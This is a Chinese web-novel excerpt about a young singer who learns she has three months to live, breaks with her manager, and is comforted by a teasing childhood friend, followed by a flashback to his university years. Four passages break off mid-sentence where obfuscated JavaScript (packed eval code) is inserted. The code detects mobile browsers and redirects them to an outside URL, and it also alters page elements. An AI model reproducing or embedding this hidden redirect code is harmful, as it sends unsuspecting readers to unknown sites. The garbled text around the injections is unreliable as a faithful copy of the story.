夜幕如墨,雨水噼里啪啦砸在窗玻璃上,发出细碎的轻响,一道道水痕模糊了窗外景致,和着屋内暖黄的灯光,将雨夜的静谧雨喧嚣包裹在这方寸之间。 没有工作,下雨的夜晚,舒适的温度,这要是换作平时,许伽宁一定会很高兴,是可以发朋友圈的高兴。但是,现在许伽宁一点高亢的情绪都没有。 医院总是灰色的。 她打心底抵触医院这种,混杂着消毒水、哭声、哀怨声的地方。 她躺在病床上胡思乱想。在想刚刚的饭局自己提前离席是不是不好,前不久的演唱会是不是真的没做好,自己迷茫的发展方向到底值不值得坚持下去,自己的身体应该没有什么大毛病吧...... 想着想着,她也就这么睡着了。 做胃镜前八个小时禁食,前四个小时禁水。临近中午,许伽宁口干舌燥,只能沾点水在嘴唇上。 无痛胃镜是需要全麻,还需要家属签字。 都说长大后是报喜不报忧,许伽宁压根就没打算让父母知道这事,怕他们操心过度。 于是,许伽宁做了一项伟大的决定——做普通胃镜。 虽然没做过,但是许伽宁有所耳闻它的难忍程度。 半个小时后,等待胃镜报告的许伽宁喉咙发麻,她暗自发毒誓,以后一定按时吃饭,饮食规律。 这胃镜真不是人能忍受的。 报告出得很快,等着拿报告的人很多,许伽宁没着急抢着拿,越过众人想找个角落的位置。 人很多很挤,许伽宁被迎面走来的人蹭到,外向一侧,她下意识伸手撑在身边的椅子扶手上,却还是免不了撞到椅子上的人,她手里大大小小的纸被许伽宁撞得散落一地。 “不好意思不好意思。”许伽宁连忙蹲在地上帮她捡起来,抬手递给她的时候,她撞见面前这人的眼睛。 看上去年纪不大,但人却瘦得可怕,双颊凹陷,皮肤蜡黄。八月酷暑,穿着医院的条纹病号服,外面还加了件厚重的外套,头上戴着米白色的针织帽。 “谢谢。”她的声音很轻,很清澈。 与这副躯体格格不入。 许伽宁想,如果没有病魔摧残,这个年轻的姑娘应该也能在阳光下自在肆意地奔跑吧,去触摸太阳轻抚雨水,不用被困在这小小的四方天地之中。 医院就是这样容易让人看见人间疾苦的地方。 许伽宁同她点点头,步子沉重地走向空荡荡的角落,靠着墙角闭目养神。 “许伽宁!” 突然,许伽宁听见一声粗壮的男声在叫自己的名字。 她抬头循着声音四处张望,厅内的人们各忙各的,仿佛刚刚那声是错觉。 想罢,许伽宁又闭上眼睛。 休整片刻,许伽宁从取报告单的篮子里找到自己的那份,上面的字密密麻麻,她看不懂便没有细看,直接去了医生诊室。 医生的诊室在四楼,她走到电梯间,唯一的一间电梯门前被放了“电梯故障”的告示牌,许伽宁只能走楼梯。 楼梯间味道刺鼻,许伽宁忍不住拿手掩鼻。走到三层,阿姨穿着蓝色保洁服在拖四层的台阶,平台间是还剩半桶的消毒水,桶紧挨着地面边缘放置,只要轻轻一挪就能倒。 许伽宁有意避开,阿姨拎着拖把下来浸湿拖把,许是用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我才二十五岁,我还这么年轻,不可能的啊!!”她根本无法接受这个情况啊!! “这个年纪有这样的病确实少,但也不是完全没有。你还是要保证良好的心态,胃这个器官更是跟情绪挂钩的,心情好说不定还能多几个月的时间。总之,这三个月的时候,好好去感受一下生活的美好,不留遗憾。” 三个月,九十天,两千一百六十个小时。 许伽宁脑鸣嗡嗡,四肢僵硬麻木,后背不断往后冒冷汗。一瞬间,感官全被夺走。她捏着报告单,指尖发颤,她盯着纸上的专业术语,那些黑色的文字扭曲成可怖的虫,啃啮着她的视线。 诊室的灯光惨败,刺得她眼睛发酸,她张了张嘴,想说什么,却只能挤出一声短促的苦笑。 医生摇摇头,“你们现在的年轻人啊,都不注意身体,非得等身体出问题了才知道后悔。” 许伽宁记不得自己是怎么出的诊室,她坐在大厅的椅子上,像个孤魂野鬼。 5. 渐近 * 整个下午,许伽宁一件事没干,坐在医院的角落愣神,直到夜幕降临,许伽宁没让小城来接,一个人打车去了江边。 崇连江横穿淮北市,这里从前是淮北市很著名的网红打卡点,前年包给了本地的一家大集团,整整两年都在修建新大桥,这地儿也渐渐人烟稀少。 许伽宁沿着江一路走。皓月高悬,江水折射出来的月光刺人眼,晚上风很大,吹在脸上像一把滚烫的钝刀,让人心烦意乱。 她站在江边,手指死死攥着栏杆,指节泛白,黑色的江水翻涌,像是某种无声的嘲笑。 许伽宁在淮北待的时间不长,她是不喜欢这里的。 在她的印象里,这里雾霾很大,永远在堵车,这座城市如同钢铁丛林一般,高楼林立视野极其不开阔,处处拥挤,没有喘息的余地。灯火彻夜通明,城市中的每一个人都在为生活为梦想奔波,不会为任何人和事驻足,人与人之间大多也都是点头之交。 它仿佛永远不会睁开怜悯的眼睛,为谁停下。 一个小时前医生的那番话还回荡在耳边,许伽宁突然觉得自己活得特别迷茫,在这样的时刻,她居然没有一个人可以吐露。 或许是风太大,眼泪毫无征兆地砸下来,滚烫的,又很快变凉。她抬手去擦,却越擦越多,最后干脆放弃,任由自己狼狈地哭出声。 液体顺着脸颊淌下,划过嘴唇,许伽宁没忍住,用舌尖舔了舔。 好咸。 她记不得以前在哪看过一个观点,所谓年轻时候的“幸运”是在提前预支后半生的福报。 许伽宁一直都承认自己是幸运的。 在最无畏的年纪,遇上赏识自己的伯乐,只身一人远赴异国他乡,在一众天才之中杀出重围。 现在她花光了这些福报,命运给她来了个大的。大到她难以承受风险和结果,大到她无法告诉这个世界上所有爱她的人。 一下子,她看见了自己快拉到尾的人生进度条,她跳入人生之海,试图打捞些难忘且快乐的记忆片段,来证明自己这二十五年也算没白活。 记忆如潮水一样涌来—— 许伽宁一直都知道自己想要什么,不要什么。 她依稀记得,小时候出去逛超市,路过橱柜看到一个很漂亮的娃娃,爸妈不给她买,她哭着闹着死活不肯走,橱柜上有一角很锋利的玻璃刃,把她的胳膊划了一道长长的伤疤,到现在还留着。但最后,她如愿得到了那个娃娃。 还有一次,她一直都爱吃糖,爸爸怕她蛀牙把家里的糖罐子放在柜子顶层,她趁家里没人爬上椅子去够罐子,后来磕了脑袋缝了针,也哭了也疼了,但她还是吃到了糖。 这些感触在她的脑海里都特别清晰,因为这些都是自己想要努力得到而留下的印记。 许伽宁的父母同大多数人的父母一样,希望她能高考、上大学、找个安稳的工作,然后找个合适的对象共度一生。 但许伽宁想要自由,她不顾家人和朋友的反对,毅然决然在十七岁只身前往异国,为了梦想竭尽全力。 但慢慢地,她发现她一味追求的自由,反倒成了现在最大的不自由。 所谓的自由仅仅存在于挣脱枷锁的那一瞬间。 其实许伽宁归根结底是个非常逆来顺受的人,随着年龄增大,她已经记不得有多久没有跟别人提出过她想要什么了,所有说出口的话都成了“你希望我做些什么”。 越长大越迷茫,她好像丢掉了小时候自己有需求就要表达的能力,变得是为了满足别人的期待而活着。 如今,她就剩三个月了。 三个月后,淮北应该就下雪了。 三个月后,她代言的香水新品刚好上市。 三个月后,她也死了。 可直到现在,她都无法真正看清自己,她说不出爱吃的食物,讨厌的人,更喜欢哪座城市,永远在做一些不知道为了什么而努力的事情,就像是打了麻药一样。 她的一切都是被精心安排好的。精确到她上镜那天的体重,妆容和穿搭,甚至也参加综艺时的反应也是台本里事先写好的。 这些条条框框是许伽宁厌烦却又不敢违背的。 如同学生时代班级里的好学生,一旦老师们给你贴上“好学生”的标签,你就不会去做那些好学生不能做的事情,因为你害怕跟老师心里你的人设相违背,害怕老师对你失望,害怕别人加在你身上的期待落空。 今年,许伽宁被迫深耕在各个剧组之间,被网友站在“专业”的角度锐评演技。 刚回国那会儿许伽宁还会发微博内涵黑粉,公司又是个不管事的,结果就是战役愈演愈烈。 她的过激行为甚至还煽动了自家粉丝去别人微博底下网暴别人,逼得人家退网晒抑郁症病单,这一下子直接让吃瓜的路人都要骂一下许伽宁。 那一年许伽宁都入选了“微博十大劣迹艺人”,美其名曰“管不好自家粉丝”。 所以,许伽宁又不敢了。自己挨骂就算了,还得连累粉丝挨骂。后来再遇到这种情况,许伽宁直接缄默不语,顶多就是给几个骂得最狠的账号发律师函。 许伽宁很久没有旅过游,尝试与平时不一样的风格,与常人一样坐在影院里安安静静看一部电影,她就连恋爱都没谈过,不知道为一个人心动、紧张是什么滋味。 有的是无休止的工作,隔三岔五地赶飞机赶高铁,只为了碎银几两。 可以说是,活得极其失败了。 手机响起,是吴曼。 许伽宁反应过来,自己已经失踪了一天了。她吸了吸鼻子,按下接听键。 “许伽宁!你要是再不接电话,我就准备发微博找你了!”吴曼声音很大,许伽宁只觉得耳鸣心慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669687|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“明天上午十点,给我去剧组试戏,祁导这次肯给我们这个机会很不容易,你要是没拿到这个角色,我以后就再也不管你了!” 许伽宁还沉浸在对自己过去的缅怀中,这会儿被她这一通劈头盖脸给叫懵了。 都快是要死的人了,还要去上班。 于是,许伽宁在二十五岁零四个月整的这一天,说出了从业六年来第一句顺从自己内心的话。 “你他妈再给我叫!说话不大声会死吗?自己耳朵背别把别人也当聋子,你这么喜欢演戏你自己怎么不去演,我看你在那些大老板面前演得不是挺好的?反正老子不去,你爱找谁去找谁去,老子上班是来赚钱的,不是来听你放屁的,操!!” 说完,许伽宁毫不犹豫地挂断电话,然后把“吴曼”的名字拉进黑名单。 爽!!! 昔日的怨气如溃堤般尽数倾泻,许伽宁很久没这么爽了,堵在心口的那股浊气散去了不少。 从前她窝囊、逆来顺受,即使面对不公都只会忍气吞声。 她想告别现在这个麻木的、浑浑噩噩的、不知道自己想要什么的生活,在生命的尽头把人人趋之若鹜的“病魔”当作末日狂欢的借口。 “去你妈的!”许伽宁双手拢在嘴边,朝着平静的江面吼道,“老子不演了!” 眼泪不争气地流了一脸,许伽宁双眼通红,一个人哭到打嗝。眼泪越来越多,脖子上都是尚未干涸的泪水。 许伽宁浑身上下只有部手机,满脸泪水连张纸巾都没有,身上这件也是件短袖,想找个趁手的东西擦把脸都费劲。她胡乱揪起领口抹了把脸,掏出手机拨了个电话。 机械音响了很久,就在许伽宁准备挂的时候被接通了,那头的人似乎刚睡醒,声音沙哑懒散,“有事?” 许伽宁拿远手机看了眼时间,才十点钟。她捂住喇叭吸了吸鼻子,清了清嗓子,又贴近手机嘟囔道,“这才几点你就睡了。” 接着,是一阵细微的窸窣声。 她的声音不似从前那般轻盈,像被一缸烟灰水浇透,湿漉漉的。宋时冕从床上坐起来垂着脑袋醒觉,“你这是感冒了还是哭了?” 他人还没彻底醒,尾音打着卷儿,听上去与他平时淡淡的样子不同,落在许伽宁的耳朵里,让她刚歇下去的委屈劲儿又上来,她吸着鼻子,“宋时冕,我没带纸。” 话音刚落,许伽宁就开始后悔了,也没想明白为什么要打电话给宋时冕。 长大后他们不比从前那般熟络,许伽宁回国后只在第一年回家过了年,碰巧那年宋时冕没回来,除去去年剧组那次见面和昨天的庆功宴,他们好像还没单独见面过。 昨天在洗手间门口,她也没给人好脸色。 还不还是算了吧。 就在许伽宁开口之际,凌冽的嗓音通过无机质传至她的耳朵里,“位置发我。” 6. 渐近 不远处是居民楼,灯火通明,是一片黑暗中很是夺目的存在。许伽宁喜欢看这一扇扇窗户,猜测这些窗户背后的故事,就像是儿时同小伙伴们玩过家家,开始之前总要编造几个身份,杜撰一些故事。 夏夜蝉鸣聒噪,身前是万家灯火,身后是车水马龙,属于她的容身之处却不在这里,心里不由得一阵空落落的。 约摸半个小时,不远处有脚步渐近,许伽宁转头。 江边没有路灯,仅有的光源是月亮和江对面的灯火,看人极不真切。 宋时冕身形高大,清俊挺拔,简单的纯白色短袖,穿着像是从海南邮回来的花裤衩,头发随意地一股脑捋到后面,露出光洁的额头,手里拎着一袋东西,影影绰绰的冷光只照亮他半边身子。 他腿长步子大,没走两步就站定在许伽宁面前,清瘦的身影遮挡住身后的光源。 许伽宁的视野乍然变窄,眼前是宋时冕的衣服下摆。宋时冕伸手,食指与中指之间夹着一包纸巾,嗓音清冽,“擦擦。” 许伽宁仰着脑袋。光线昏暗,宋时冕又背着光,他背脊清薄,肩背平直开阔,干净皓洁的月光洒在身上,像是洒了层碎银。饶是如此糟糕的打光,许伽宁也能隐约看清他立体的五官,轮廓锋利又不失柔和。 虽然这人过去着实可恶,但他这张脸倒是实实在在的帅气。 她接过纸巾捏在手里没拆,悻悻说,“这会儿才来,有泪也早干了。” 宋时冕歪着脑袋,“怎么两次见面都在哭?” “谁哭了,眼睛瞎了早点去治。” 两人还是那样,一见面就互掐。 宋时冕在她身边坐下,许伽宁这才看清他手上的袋子里装的是奶茶。 哦,还去买奶茶了啊。 许伽宁很自觉,伸手就要去拿。宋时冕使坏把奶茶拿走,语气欠了吧唧,“白眼狼,别喝了。”说完,使坏的那只胳膊故意抬高,修长的臂膀筋脉微凸,他笑得顽劣,逗许伽宁的同时还顺便嘲讽了一波她胳膊短。 许伽宁气不过,起身一条腿跪在长椅上,右手撑在宋时冕的肩膀,左手去够奶茶。 宋时冕没料到她这番动作,下意识绷紧身体,被触碰的地方逐渐发热,肌肤下的脉络也在微不可察地跳动。 她身上的轻柔淡香侵略着他周遭的每一寸空气,宋时冕忍不住低咳了一声,抬高的手臂垂下,许伽宁趁机夺走。 冰凉的奶茶握在手中,隔着手心将温度传至身体,混沌的大脑清醒不少。许伽宁这才顿觉两人打破了安全距离,她收了劲儿,从男生身上提溜滑下来。 她假装无事发生,嘴硬了两句,“就喝就喝。”猛地吸溜一口,将口腔里装满奶茶,然后小口小口地咽下。 这杯全糖不加小料的奶茶让许伽宁郁闷的心情一下子舒畅不少。 对啊,她以前最喜欢喝奶茶的啊,是什么时候忘记的? 从前许伽宁每次不开心,就会去学校门口那家奶茶店买大杯的全糖不加任何小料的奶茶,她说过,这样喝起来才顺畅爽滑。 那时候以为天塌了的烦恼,现在回想起来好像一杯奶茶就能解决的。 只是,没想到自己都忘了的事情,宋时冕居然还记得。 许伽宁悄悄抽了下鼻子,“你就买了一杯啊?” “明天要上镜。”宋时冕顺手拿走她放在长椅上的吸管套,揉成一团塞进口袋。 “还挺忙,昨天跟我妈打电话,你家大门已经被你的七大姑八大姨踏破了。”许伽宁宝贝似的把奶茶拿在手里,本来想伸手推宋时冕,但一想到两人都已经长大有了男女之别,不像小时候可以随意胡闹,最后也只是用肩膀撞了撞他的肩膀,“现在混得可以啊。” 之前看他混得如日中天,自己在饭桌上被灌得一杯接着一杯,心里还酸溜溜的,现在两人肩靠肩坐一块儿,许伽宁这句倒是夸得真诚,毕竟这人向来懒散,现在却还能一个电话就能来。 看来多年的情谊还没忘。 宋时冕没对她客气,还跟小时候似的在她脑袋上一顿乱揉,“能有您忙?” 许伽宁最烦别人乱动她头发,连老许摸她都会急眼的那种,偏偏宋时冕就喜欢装作大人样,左一个摸右一个揉。宋时冕个子窜得高,小学许伽宁还会跳起来反击,初中之后她就只能老实被欺负,顶多指着人破口大骂。 许伽宁一把打走他的手,“你又乱摸我的头发!” 话虽如此,但许伽宁也没真的生气,压抑了一天的情绪渐渐放松下来。她今晚叫宋时冕来,也只是希望有人能陪陪她,并没有打算告诉他自己生病的事情,这种事情很难说出口。 宋时冕借着月光看见她红通通的眼眶,被打湿的睫毛压在眼尾,鼻子也泛着红,看样子刚大哭了一场,她呼吸轻飘飘的,说话时候的鼻音却很重。 他打了个哈欠,语气已经有了某种迹象,“你知道你现在像什么吗?” 许伽宁被这没头没尾的问题问住,她吸了口奶茶,眨了眨眼睛,“像什么?” 宋时冕眉峰扬起,停顿片刻然后扭头看向她,扯着唇角,“女鬼,一只刚哭完丧的女鬼。我之前那部古装的女鬼就应该找你去演。” 似乎是觉得不够,他又贱兮兮地补了一句,“绝对本、色、出、演。” 哭得还是自己的丧。 许伽宁在心里暗暗想道。 她因为前不久港岛演唱会的需要,将一头黑发染成银色,现在还没染回来。其实她不喜欢浅发色,但粉丝一直都希望她能尝试,所以特地为了这次演唱会染了。 这还是她第一次漂发,之前在韩国她都没试过。 她狠狠瞪他,手已经捏成拳状,仅剩的那点阴郁都不见了,此刻她只想一拳头捶死面前他。 刚才她对这个人抱有几分感动,现在已经彻底清醒过来了,这货可是宋时冕,才不是什么温柔欧巴! 身边传来一阵轻笑,宋时冕低着头,笑得肩膀抖个不停。 一瞬间,这熟悉的戏谑也让一直横亘在八年未见的两人之间的别扭和尴尬消散了不少。 宋时冕从小到大情绪稳定得像是死了,基本上说什么都不会让他情绪起伏,这会儿跟被拉了发条似的笑个不停。 他声音已经不是刚在电话里的沙哑低沉,他的音色很好听,清冽净透,偏偏这人不着调,说话时尾音微扬,撩得人耳尖发麻。 以前许伽宁就说过他这天生的“渣男音”,唱起情歌肯定能迷倒一片小姑娘。 当时这货怎么说来着? 不唱,哥走颜值路线。 她懒得跟他呛,瘪嘴继续喝奶茶,“说句好听的能死。” “等我回去报个班,好好学习比喻句。”宋时冕吊儿郎当地说道,一如既往的欠。 “你就穿成这样出来,小心被你粉丝拍到,脱粉回踩。”许伽宁这话说得不假,宋时冕悠悠靠在长椅椅背上,长腿交叠,穿着那件花裤衩活像个看门大爷。 “姑娘,你这又是什么时候瞎的,哥披件麻袋都帅得没边儿,谢谢。”语气极其嚣张,上挑的眉尾像是压不下来,说话的同时凑到俯身凑到许伽宁边上。顿时,一晚上都若有若无的薄荷味变得浓烈,这是宋时冕身上常有的味道,干净、冷冽、让人上头,总能让许伽宁联想到夏日冰镇的薄荷柠檬水。 两人的距离突然拉近,只要谁再进一步,他们就能肌肤相贴。许伽宁的呼吸不由得滞住,这人却又在话说完的下一秒迅速抽离这片真空,重新仰躺在椅背上。 一时之间,许伽宁看到了学生时代的宋时冕,岁月似乎并没有在他身上留下多少痕迹,无论是样貌还是秉性。 十几岁的宋时冕带手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“切,你不是当初特别看不起我这职业吗?” 在许伽宁的印象里,当年自己要去韩国前夕,宋时冕对自己这个决定不算支持,那段时间总是对她冷嘲热讽,许伽宁还因此跟他大吵了一架,那次离别算得上是不欢而散。 所以,许伽宁心里是觉得宋时冕是抵触在娱乐圈的这份工作的,但没想到到最后他居然也进圈了。 宋时冕愣住,轻咳了两声,语气略微不自然,“研究表明,我国大约有30%-40%的人最终从事的行业和自己的专业不相符,我就不能是那30%-40%?” 肉眼可见的心虚。 许伽宁把胳膊搭在他的肩上,笑得猥琐,“心虚什么?你该不会是......” 宋时冕身子一侧,许伽宁的胳膊瞬间落空,话都给人截掉,“昨天不是让你等我,人呢?” 许伽宁:“?” 不是,这话题转得是不是有点硬,演都不演了。 话头指向许伽宁,她不打算实话实说,也睁着眼睛说瞎话,“昨天大门口有个开超跑的大帅哥看我一个人淋得梨花带雨的,心疼我,招招手让我上车,说要送我。” 宋时冕睨了她一眼,“哦,那哥们儿也是个瞎的。” “我去,你是不是断网了?没刷到过我那些神图吗?懂不懂什么叫宇宙歌姬?!”许伽宁气得跳脚。 “宇宙歌姬”是她的粉丝给她取的,她挺喜欢的,毕竟能跟“宇宙”搭上边儿的都不差。 “哇,那还挺厉害的。”宋时冕装模做样地在那鼓掌,然后用指头在她头顶挠了两下,“宇宙和尚。” 啊啊啊啊啊!!! 如果杀人不犯法,她真想把宋时冕一拳抡江里面! 细碎的月光落了满地,江边微风轻抚,没了白日的燥热。 宋时冕因为明天还有通告没打算呆多久,一手插着兜一手转着车钥匙。 “走了,没有超跑的绝世大帅哥用五菱宏光送你回家。” 7. 渐近 许伽宁有时候真想跪下来求他别装了,结果发现跪下来这货只会把自己当皇上。 不过,她就发现,皇上也有不会的。 走到车前,宋时冕一个完美的抛物线把车钥匙丢给许伽宁。 许伽宁:“?” “干嘛?” “你开。”宋时冕潇洒地坐进副驾,留许伽宁一个人拿着车钥匙萧条地站在车外。 等许伽宁反应过来,她气冲冲地敲副驾的车窗。车窗悠悠降下来,露出宋时冕的侧脸,“你不是说送我回家,这叫送我回家?”她把钥匙丢到宋时冕身上。 懒透了这人。 “拿我的车送你回家,有什么问题?”宋时冕顺势把钥匙插上,“上车。” 许伽宁见这人腚上像是粘了胶水,懒得再跟他掰扯绕到驾驶座坐下。她系上安全带,同时打量着车内,座椅高度意外得舒服,她看向副驾里的人,座椅被调到很靠后,一双长腿还是无处安放。 难不成是他提前调好的?他有这么细心? 她突然想到什么,随口问道,“宋时冕,你是不是不会开车啊?” 说这话许伽宁更多只是想吐槽一下他,没想到宋时冕沉默,许伽宁惊讶地恨不得贴他脸上,“真假的?宋sir二十多岁驾照还没拿到?” 他坦率道,“不会。” “那你今天怎么来的?”许伽宁疑惑。 “代驾。” “那你昨天说送我,也是打算这么送我?” “昨天有司机。”他摸了摸鼻子。 合着你就是纯过嘴瘾啊。 “那你可以打车啊。”许伽宁不死心,总得跟他争个理儿。 “怕你不知道我刚买车。” 许伽宁:“……” * 憬池公寓。 光是许伽宁到家就花一个小时,许伽宁家和他家两个方向,将近绕大半个淮北市。 这套公寓是宋时冕刚工作时买的,主要胜在里公司近,他不会开车,有时候公司有什么紧急情况,他坐地铁去也快,后来有了些名气他也被分了车。 宋时冕到家已经将近十二点,他没开灯,借着落地窗外的点点碎光,直接在玄关处换鞋。 “老宋?你这大晚上去哪了,这都几点了?”陈枫被渴醒,摸黑去冰箱拿水。 明天宋时冕要去平台公司扫楼剧宣,那栋楼离宋时冕家很近,索性他今晚就直接住这了,反正宋时冕家也有他的房间。 “见个朋友。”宋时冕没多赘述,也去冰箱拿了瓶冰水。 朋友? 平日谁打扰他睡觉能犯天条差不多,他什么时候有能这个点约他出去的朋友了? 他俩是大学同学,一个宿舍,两人说好毕业一起去创业,结果宋时冕半路当了演员,陈枫一个人干不下去也跟着他混,大学那会儿他就是宋时冕的狗腿子。两年的功夫,他考了经纪人证,加之他本就圆滑的性格,给宋时冕这种情商堪忧的孩子当经纪人最合适不过了。 宋时冕没说话,拧开瓶盖灌了一大口。逆天的侧脸被保鲜层的冷光勾勒,峻冽冷峭,他扭头睨了眼陈枫,但表情与平日里那副不耐烦截然不同。 看样子心情不错。 男人心,海底针。明明昨天从饭局回来还冷着脸不搭理人。 陈枫来了劲儿,靠在另一边的冰箱门上,用手上的瓶子和宋时冕手里的碰了碰,“是哪个好朋友让宋sir深更半夜千里去相会啊?” 宋时冕拎着瓶子坐在岛台边,刷起手机,“这位粉丝请不要过度关注时冕哥哥的私生活。”话说得骚,人却一本正经的。 陈枫突然明白,为什么那些营销号不管给宋时冕造什么谣都有人信,这人真的抽象到没边,你永远猜不到他这张烂嘴下一秒要说什么。 宋时冕正在刷短视频,就听见身边人又继续问道,“是不是昨天饭局那个?难不成她就是你大学时经常提的那个发小?” 他刷视频的手慢下来,在视频循环播放到第三遍,他才舍得张开他那张金贵的烂嘴,“我什么时候经常提了?” 这算是默认了? * 即使是在男女比例极其失调的理工大学,大学时期的宋时冕在学校依旧是风云人物。长得帅,成绩好,会打篮球,就这三个buff叠加,他的桃花就少不了,更别提大学之后谈恋爱还没了限制。 刚开学,宋时冕的照片已经在学校的贴吧里传遍,还穿着军训服的时候就经常被学姐学长围观。他们宿舍那几个哥也跟着他沾光,走到哪都有不少目光向他们这投来。很快,宋时冕被拥戴成宿舍的老大。 大一下的学生会聚会,陈枫被漂亮学姐忽悠,一定要把他们宿舍的宋时冕一起叫来吃饭,陈枫缠了宋时冕一周,最后心痛地以连带一个月的饭为代价,才成功把这人哄过去。 当晚宋时冕第一次深刻理解什么叫鸿门宴。 说是学生会聚餐,除了陈枫没人提一嘴学生会,都在围着宋时冕。光是看网上的照片就已经觉得这人帅得离谱,没想到见到真人更是一绝。一桌子姑娘,个个都脸蛋红扑扑的,宋时冕就这么被盯了一晚上。 饭后有人提议去唱k,宋时冕拎起书包准备回宿舍。陈枫一把拉住他不肯放他走,“别走啊,帮帮哥们儿,哥们儿前几天跟人姑娘夸下海口了,我跟你关系特别铁。你现在走,兄弟这面子往哪搁?” 宋时冕朝他翻了个白眼,“能不能少在外边儿丢人。”说完,抄兜往回走。 不远处,今晚攒局的学姐朝陈枫说道,“陈枫,你朋友这就走了?你喊他跟我们一块儿玩啊。”说着,还拿包轻砸他的胸口。 陈枫这没见过什么大场面的哪遭得住学姐这样,立马脑袋晕晕,追上宋时冕掰着他肩膀往回拽,“老宋!宋哥!时冕哥哥!你就去吧,兄弟一个人去不好意思,今晚能不能脱单就看我的好哥哥了。” 几声哥哥确实把宋时冕叫爽了,他最后妥协道,“你把宿舍那两个也叫过来。” 人多点总没错。 “得勒,”陈枫高兴地像开饭的哈士奇一样,转身朝女孩儿们喊道,“姐姐们,走!” 晚上的大学城夜市开张很是热闹,一帮人浩浩荡荡地走在路上。宋时冕跟在队尾,他个子高在人群中很显眼,宽肩窄腰,头上扣着顶白色鸭舌帽,双手抄兜低着头往前走,即使穿着很简单,身上依旧粘着不少视线。 因为听说他们还有两个朋友要来,学姐直接开了个大包。一首歌热场的功夫,人就已经齐全。 为了符合今晚的暧昧气氛,陈枫把包厢的灯全关了,只留了最大的那顶彩色镭射灯。大家兴致高涨,酒精和喧嚣发酵成燥热的氛围,宿舍另外两个男生也是人来疯,一起合唱了首《光辉岁月》,惹得一众人跟着闹。 包厢里五颜六色的灯光像碎裂的彩虹,宋时冕蜷在沙发最边缘的阴影里,双手环胸,沙发和茶几之间的空间甚小,他两条长腿无处安放屈膝岔开,黑色卫衣帽子套住鸭舌帽几乎将大半张脸都盖住,只露出半截白皙手腕上缠着的红绳。 没多久,他的腿被人戳了几下。 他装死,继续假寐,但并非诱敌。 梅开二度。 他能感觉到那人的指甲很长,一下一下,力道不大,但疼得很。 宋时冕抬起头,掀起眼帘看向身边的人,不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669689|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地把腿往里收。帽檐的阴影落在他的脸上,唇角绷直,浑身上下写满“生人勿近”四个大字。 他这张脸不做表情已经能劝退很多人了,偏偏这会儿还皱着眉,看上去像刚砍完人。 学姐是个胆子大的,主动自我介绍,“学弟你好,我叫徐欢,是设计院的,有兴趣加入学生会吗?”其他人还是疯玩,正常说话根本听不见,徐欢顺势向宋时冕身上靠,凑近他的耳朵。 宋时冕反应利落,还没等人靠过来就坐起来,“说就说,靠这么近干嘛?” 兜里的手机震动,他看了眼备注,起身出了包厢。 包厢光线昏暗,影影绰绰,看人极不真切,但徐欢却敏锐地捕捉到他脸上违和的柔软。 徐欢僵在原地,下意识在宋时冕走之前瞥了眼他的手机界面。 “大小姐”? 陈枫不是说,他没有女朋友吗? 宋时冕出了包厢,把门关上隔绝掉身后的才按下接听键。 是许伽宁的视频电话。 刚一接通,就传来女孩轻盈的声音,但不难听出其中的疲惫,“中秋快乐!”许伽宁应该是刚练完舞,整个人汗津津的,额前的碎发被汗水黏在皮肤上,背靠着练舞的落地镜坐在地上。 宋时冕能透过镜子看见她的手机画面,大窗口是许伽宁自己,自己的脸缩在角落,小小一个。 “中秋快乐。”宋时冕回得冷淡。 这会儿许伽宁刚去韩国不到半年,这段时间里两人交流少之又少,分别前的交谈并不愉快,许伽宁闹脾气故意不联系宋时冕,宋时冕也不是主动低头的人,他们就这么僵持着,谁也不理谁。 “要不是我妈非让我打视频给你,你以为我愿意看你这张臭脸啊!”许伽宁被他这不咸不淡的态度气到,直接朝他丢炸弹。 宋时冕哧了一声,“哦,那还难为你了。” 许伽宁大大翻了个白眼,这才注意到他身后的背景,“奥哦,原来这外面流连呢,我就说怎么接得这么慢。” 他不以为然,“还有闲心思管我,看来你们那强度还不够。” 许伽宁一听立马炸毛起来,初出茅庐语言不通就算了,还被这里的人排挤,她整日泡在舞房里,这货居然还说她不够努力。 这谁能忍! “你等着吧宋时冕,你以为你算哪根葱,这边好看的小哥哥数都数不过来,天天板着张脸也不知道给谁看,很帅吗?我再也不要跟你玩了,我讨厌你!”说完,毫不留恋地挂断电话。 站在一旁听完全程的陈枫差点没笑出声来,他晚上喝了点酒,说话也不着调,明晃晃地调侃宋时冕,“老宋啊,没想到你也有栽在女人身上的时候啊。” 被劈头盖脸骂了一顿的宋时冕才发现身边站了个人,没管这人的调侃,不确定地问道,“她这是生气了吗?” 陈枫也是无语,“你这情商,包生气了啊。” 